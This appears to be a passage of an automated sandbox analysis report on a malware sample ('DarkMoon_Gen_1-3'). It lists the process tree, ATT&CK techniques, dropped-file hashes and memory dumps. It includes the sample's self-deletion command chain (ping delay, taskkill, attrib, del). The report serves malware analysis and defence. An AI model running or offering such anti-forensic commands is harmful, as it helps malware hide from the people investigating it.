- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bc020aab-cadc-448c-bfa7-f2b4ca1c9848}
4⤵
PID:1348

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{6beb8b88-d5ae-49cb-bed3-c40ceb3fa5b3}
4⤵
PID:3216

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & exit
4⤵
PID:2172

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:4568

C:\Windows\system32\PING.EXE
PING localhost -n 8
5⤵
- Runs ping.exe
PID:3300

C:\Windows\system32\taskkill.exe
taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"
5⤵
- Kills process with taskkill
PID:1192

C:\Windows\system32\attrib.exe
ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"
5⤵
- Views/modifies file attributes
PID:5508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3608

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3816

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3984

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4124

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4504

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:820

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4408

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:1240

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3980

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:548

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3568

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5364

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3064 -ip 3064
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF230.tmp.csv
Filesize
39KB

MD5
8caa6602958c07d17511704267eef1e8

SHA1
9a7dd885270b499447935f26502c8426ca7a627d

SHA256
37667370224a5f2bdcbbe36b87921808d07e58fe935433891db439bf15bcd479

SHA512
a93b1ec509e6eb7445933626d16faa580fdcb2754604ec5ec28b9ed78b81a5a67c610368cdfc9dad23e2b5a81e3696838c74ecac6d2d055d4749144112f776eb

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF240.tmp.txt
Filesize
13KB

MD5
a4b00f7aeed09ce11b9ab749776cf7db

SHA1
6fb02f55b3702a50d9b4bdda91c1c0b3d0086816

SHA256
457a67123fff1f6744089071cf23d57795ca916cab2a3a56d920213bf2221024

SHA512
7c8854a037fdd046dfff7dca4f1976b8d6a02e2a2661dadcde1888e617ce4ce4109c4308a1352da7f4da8166ad7a03a3adf0eb189ccfb62027d8f68e2d94d064

Download Submit
C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kgmfj2g.g5l.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe
Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe
Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize
328B

MD5
0b39b0ab7bf53a57d6a9e13992f21133

SHA1
b548f4ce0bf8882b234a96bb28b58de5571e9dab

SHA256
76a79a8c50293b6edce6ac034772578e49a5eec3d0e606c30c95e35680bb71dd

SHA512
69c1b1823e5f615e0c5d4bb8fbfb92b5882e65465f5718e8cd7ab2ba4b3ca4fccff944e205b03e38e738151552a42abfe5522a236c2e170e0c81662c2a32aa80

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize
330B

MD5
d58f477081300b3e6185a0a17e674ee0

SHA1
61d037697325d5dfeaf5f534ca2b239b56bb00ea

SHA256
a242659b59be16650b4249904b1b03da5bd723eb7ebc324a55b8c0be90b11bf1

SHA512
bd04c321ab4d423edd226dafeee19eaea193a5b37834e1759bcf10a75ad8d49f4758e0b5198d6a78917b45011195eb8a28c2de0597ca897083dc0ca32fad11ec

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize
412B

MD5
92a27e6089e6b28e914c22ee21f602e5

SHA1
b4c0f25a7a8a1903c4a070531fea28aac1e2b3bf

SHA256
43defe9751afb689a2eb3552da81609f88acd0cfb4aa395b7ab9ba3618ca5c5f

SHA512
5b15033014abaf5069812883a8536a44938b260c297cb2eed0fe4c63dd0cefe39b80a50a09bd970c920d982162092fd8a9c1d276b9f3e916700c0146c3b277e4

Download Submit
memory/64-114-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/64-112-0x0000022A08180000-0x0000022A081A7000-memory.dmp

Filesize
156KB

Download
memory/436-130-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/436-126-0x0000017880730000-0x0000017880757000-memory.dmp

Filesize
156KB

Download
memory/468-117-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/468-116-0x0000015295110000-0x0000015295137000-memory.dmp

Filesize
156KB

Download
memory/592-123-0x000001B6720F0000-0x000001B672117000-memory.dmp

Filesize
156KB

Download
memory/592-124-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/616-101-0x000001868ED60000-0x000001868ED82000-memory.dmp

Filesize
136KB

Download
memory/616-103-0x000001868ED90000-0x000001868EDB7000-memory.dmp

Filesize
156KB

Download
memory/616-106-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/664-104-0x0000025CE3170000-0x0000025CE3197000-memory.dmp

Filesize
156KB

Download
memory/664-108-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/948-127-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp

Filesize
64KB

Download
memory/948-113-0x000001A49A440000-0x000001A49A467000-memory.dmp

Filesize
156KB

Download
memory/1036-129-0x000001F554730000-0x000001F554757000-memory.dmp

Filesize
156KB

Download
memory/1056-132-0x000001E5368C0000-0x000001E5368E7000-memory.dmp

Filesize
156KB

Download
memory/1532-90-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/1532-89-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1532-99-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1532-88-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1532-91-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp

Filesize
760KB

Download
memory/2232-1615-0x00007FFA1C693000-0x00007FFA1C694000-memory.dmp

Filesize
4KB

Download
memory/2232-11-0x000002573C640000-0x000002573C662000-memory.dmp

Filesize
136KB

Download
memory/2232-1616-0x00007FFA0E0C0000-0x00007FFA0EB81000-memory.dmp

Filesize
10.8MB

Download
memory/2232-17-0x0000025722220000-0x0000025722244000-memory.dmp

Filesize
144KB

Download
memory/2232-19-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp

Filesize
760KB

Download
memory/2232-18-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/2232-16-0x00007FFA0E0C0000-0x00007FFA0EB81000-memory.dmp

Filesize
10.8MB

Download
memory/2232-15-0x00007FFA0E0C0000-0x00007FFA0EB81000-memory.dmp

Filesize
10.8MB

Download
memory/2232-24-0x000002573D9E0000-0x000002573DA38000-memory.dmp

Filesize
352KB

Download
memory/2232-379-0x00007FFA0E0C0000-0x00007FFA0EB81000-memory.dmp

Filesize
10.8MB

Download
memory/2232-20-0x000002573CE80000-0x000002573D8D0000-memory.dmp

Filesize
10.3MB

Download
memory/2232-22-0x000002573D8D0000-0x000002573D976000-memory.dmp

Filesize
664KB

Download
memory/2232-23-0x000002573D980000-0x000002573D9D6000-memory.dmp

Filesize
344KB

Download
memory/2232-4-0x00007FFA0E0C3000-0x00007FFA0E0C5000-memory.dmp

Filesize
8KB

Download
memory/2232-380-0x00007FFA0E0C3000-0x00007FFA0E0C5000-memory.dmp

Filesize
8KB

Download
memory/2232-28-0x0000025722260000-0x000002572226A000-memory.dmp

Filesize
40KB

Download
memory/2232-26-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/2232-25-0x0000025722240000-0x0000025722262000-memory.dmp

Filesize
136KB

Download
memory/3132-34-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3132-32-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3944-72-0x0000027B77F00000-0x0000027B77FB2000-memory.dmp

Filesize
712KB

Download
memory/3944-87-0x0000027B77E80000-0x0000027B77EB6000-memory.dmp

Filesize
216KB

Download
memory/3944-71-0x0000027B77DF0000-0x0000027B77E40000-memory.dmp

Filesize
320KB

Download
memory/3944-62-0x0000027B7FE70000-0x0000027B7FF22000-memory.dmp

Filesize
712KB

Download
memory/3944-63-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/3944-85-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/3944-84-0x0000027B77DA0000-0x0000027B77DEE000-memory.dmp

Filesize
312KB

Download
memory/3944-83-0x0000027B77E40000-0x0000027B77E7C000-memory.dmp

Filesize
240KB

Download
memory/3944-73-0x0000027B78590000-0x0000027B78752000-memory.dmp

Filesize
1.8MB

Download
memory/3944-58-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp

Filesize
760KB

Download
memory/3944-57-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp

Filesize
2.0MB

Download
memory/3944-59-0x0000027B772A0000-0x0000027B77826000-memory.dmp

Filesize
5.5MB

Download
memory/3944-86-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp

Filesize
760KB

Download
memory/3944-61-0x0000027B7FA30000-0x0000027B7FE6E000-memory.dmp

Filesize
4.2MB

Download
memory/3944-60-0x0000027B18000000-0x0000027B187CA000-memory.dmp

Filesize
7.8MB

Download
memory/5012-29-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/5012-31-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/5616-93-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5616-92-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5616-97-0x0000000000AB0000-0x0000000000ACA000-memory.dmp

Filesize
104KB

Download
memory/5616-95-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download